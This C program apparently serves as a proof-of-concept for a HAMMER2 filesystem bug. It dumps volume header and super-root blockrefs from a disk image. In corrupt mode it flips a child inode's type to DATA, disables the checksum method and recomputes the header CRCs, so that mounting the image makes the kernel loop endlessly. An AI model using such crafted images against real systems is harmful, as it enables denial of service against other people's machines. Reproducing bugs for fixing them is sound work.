#include #include #include #include #include #include /* hardcoded offsets matching sys/vfs/hammer2/hammer2_disk.h */ #define VH_SIZE 65536 #define SROOT_BLOCKSET_OFF 0x200 #define BREF_SIZE 128 #define BREF_TYPE_OFF 0 #define BREF_METHODS_OFF 1 #define BREF_KEY_OFF 8 #define BREF_DATAOFF_OFF 32 #define BREF_CHECK_OFF 64 /* xxhash64.value is first 8 bytes of check union */ #define ICRC_SECTS_OFF 0x1E0 /* icrc_sects[8] at 0x1E0-0x1FF */ #define ICRC_VH_OFF 0xFFFC #define HAMMER2_OFF_MASK 0xFFFFFFFFFFFFFFC0ULL #define HAMMER2_OFF_MASK_RADIX 0x3FULL #define HAMMER2_BREF_TYPE_INODE 1 #define HAMMER2_BREF_TYPE_DATA 3 extern uint32_t iscsi_crc32(const void *buf, size_t size); static uint64_t rd64(const uint8_t *b, size_t off) { uint64_t v; memcpy(&v, b + off, 8); return v; } static void wr64(uint8_t *b, size_t off, uint64_t v) { memcpy(b + off, &v, 8); } static uint32_t rd32(const uint8_t *b, size_t off) { uint32_t v; memcpy(&v, b + off, 4); return v; } static void wr32(uint8_t *b, size_t off, uint32_t v) { memcpy(b + off, &v, 4); } int main(int argc, char **argv) { const char *img = argv[1]; int do_corrupt = (argc > 2 && strcmp(argv[2], "corrupt") == 0); uint8_t *vh = malloc(VH_SIZE); if (!vh) { perror("malloc"); return 1; } int fd = open(img, do_corrupt ? O_RDWR : O_RDONLY); if (fd < 0) { perror("open"); return 1; } if (read(fd, vh, VH_SIZE) != VH_SIZE) { perror("read vh"); return 1; } /* dump sroot_blockset blockrefs */ printf("=== Volume header sroot_blockset (offset 0x200) ===\n"); for (int i = 0; i < 4; i++) { uint8_t *br = vh + SROOT_BLOCKSET_OFF + i * BREF_SIZE; uint8_t type = br[BREF_TYPE_OFF]; uint8_t methods = br[BREF_METHODS_OFF]; uint64_t key = rd64(br, BREF_KEY_OFF); uint64_t data_off = rd64(br, BREF_DATAOFF_OFF); uint64_t check = rd64(br, BREF_CHECK_OFF); printf(" blockref[%d]: type=%u methods=0x%02x key=0x%016jx data_off=0x%016jx (byteoff=0x%016jx radix=%ju) check=0x%016jx\n", i, type, methods, (uintmax_t)key, (uintmax_t)data_off, (uintmax_t)(data_off & HAMMER2_OFF_MASK), (uintmax_t)(data_off & HAMMER2_OFF_MASK_RADIX), (uintmax_t)check); } /* dump existing volume header CRCs */ printf("=== Existing VH CRCs ===\n"); printf(" icrc_sects[6] (SECT1, sroot): stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_SECTS_OFF + 6*4), iscsi_crc32(vh + 0x200, 512)); printf(" icrc_sects[7] (SECT0): stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_SECTS_OFF + 7*4), iscsi_crc32(vh, 508)); printf(" icrc_volheader: stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_VH_OFF), iscsi_crc32(vh, 65532)); /* Now read the super-root inode data */ uint64_t sroot_data_off = rd64(vh + SROOT_BLOCKSET_OFF, BREF_DATAOFF_OFF); uint64_t sroot_byteoff = sroot_data_off & HAMMER2_OFF_MASK; uint64_t sroot_radix = sroot_data_off & HAMMER2_OFF_MASK_RADIX; size_t sroot_size = (size_t)1 << sroot_radix; printf("=== Super-root inode: byteoff=0x%016jx size=%zu ===\n", (uintmax_t)sroot_byteoff, sroot_size); uint8_t *inode = malloc(sroot_size); if (pread(fd, inode, sroot_size, (off_t)sroot_byteoff) != (ssize_t)sroot_size) { perror("pread inode"); return 1; } /* dump inode's u.blockset (at inode offset 0x200) */ printf("=== Super-root inode u.blockset (inode offset 0x200) ===\n"); for (int i = 0; i < 4; i++) { uint8_t *br = inode + 0x200 + i * BREF_SIZE; uint8_t type = br[BREF_TYPE_OFF]; uint8_t methods = br[BREF_METHODS_OFF]; uint64_t key = rd64(br, BREF_KEY_OFF); uint64_t data_off = rd64(br, BREF_DATAOFF_OFF); uint64_t check = rd64(br, BREF_CHECK_OFF); printf(" child[%d]: type=%u methods=0x%02x key=0x%016jx data_off=0x%016jx check=0x%016jx\n", i, type, methods, (uintmax_t)key, (uintmax_t)data_off, (uintmax_t)check); } if (do_corrupt) { /* find first INODE child and flip its type to DATA */ int target = -1; for (int i = 0; i < 4; i++) { uint8_t *br = inode + 0x200 + i * BREF_SIZE; if (br[BREF_TYPE_OFF] == HAMMER2_BREF_TYPE_INODE) { target = i; break; } } if (target < 0) { fprintf(stderr, "no INODE child found to corrupt\n"); return 1; } uint8_t *br = inode + 0x200 + target * BREF_SIZE; printf("=== CORRUPTING child[%d] type %u -> %u ===\n", target, br[BREF_TYPE_OFF], HAMMER2_BREF_TYPE_DATA); br[BREF_TYPE_OFF] = HAMMER2_BREF_TYPE_DATA; /* write modified inode data to disk */ if (pwrite(fd, inode, sroot_size, (off_t)sroot_byteoff) != (ssize_t)sroot_size) { perror("pwrite inode"); return 1; } /* recompute XXH64 of the inode data using hammer2's seed via external symbol; here we cheat: change the check method to NONE so the kernel skips the CRC and the loop spins regardless */ /* Actually: set methods check nibble to NONE (0) so no check is done. HAMMER2_DEC_CHECK(methods) >> 4 == 0 => CHECK_NONE => r=1 */ /* But we also need the VOLUME HEADER sroot_blockset blockref[0] methods to reflect this. Let's just set methods byte to 0 in both the inode child blockref and the vh sroot blockref. */ /* Wait -- the check is done on the LOADED chain data, not the blockref in the inode. The chain for child[target] loads data from child[target].data_off. We don't touch that. We changed the type in the PARENT (super-root inode). So the chain for child[target] will be loaded normally with its own data and its own check. Its type just says DATA now. The fixup loop sees type != INODE and continues forever. */ /* BUT: the super-root inode data changed, so sroot_blockset.blockref[0].check (XXH64 of the inode) no longer matches. When the chain for the super-root inode is loaded during mount, CRC fails, mount bails. Solution: set check method of sroot blockref[0] to NONE. */ uint8_t *vhbr0 = vh + SROOT_BLOCKSET_OFF + 0 * BREF_SIZE; uint8_t old_methods = vhbr0[BREF_METHODS_OFF]; /* zero the check nibble (high nibble of methods byte): HAMMER2_ENC_CHECK(0)=0 */ vhbr0[BREF_METHODS_OFF] = old_methods & 0x0F; printf("=== Set sroot blockref[0] methods 0x%02x -> 0x%02x (CHECK_NONE) ===\n", old_methods, vhbr0[BREF_METHODS_OFF]); /* recompute volume header CRCs (sroot_blockset changed) */ wr32(vh, ICRC_SECTS_OFF + 6*4, iscsi_crc32(vh + 0x200, 512)); wr32(vh, ICRC_SECTS_OFF + 7*4, iscsi_crc32(vh, 508)); wr32(vh, ICRC_VH_OFF, iscsi_crc32(vh, 65532)); /* write modified volume header */ if (pwrite(fd, vh, VH_SIZE, 0) != VH_SIZE) { perror("pwrite vh"); return 1; } printf("=== DONE. Re-checking CRCs ===\n"); printf(" icrc_sects[6]: stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_SECTS_OFF + 6*4), iscsi_crc32(vh + 0x200, 512)); printf(" icrc_sects[7]: stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_SECTS_OFF + 7*4), iscsi_crc32(vh, 508)); printf(" icrc_volheader: stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_VH_OFF), iscsi_crc32(vh, 65532)); } free(vh); free(inode); close(fd); return 0; }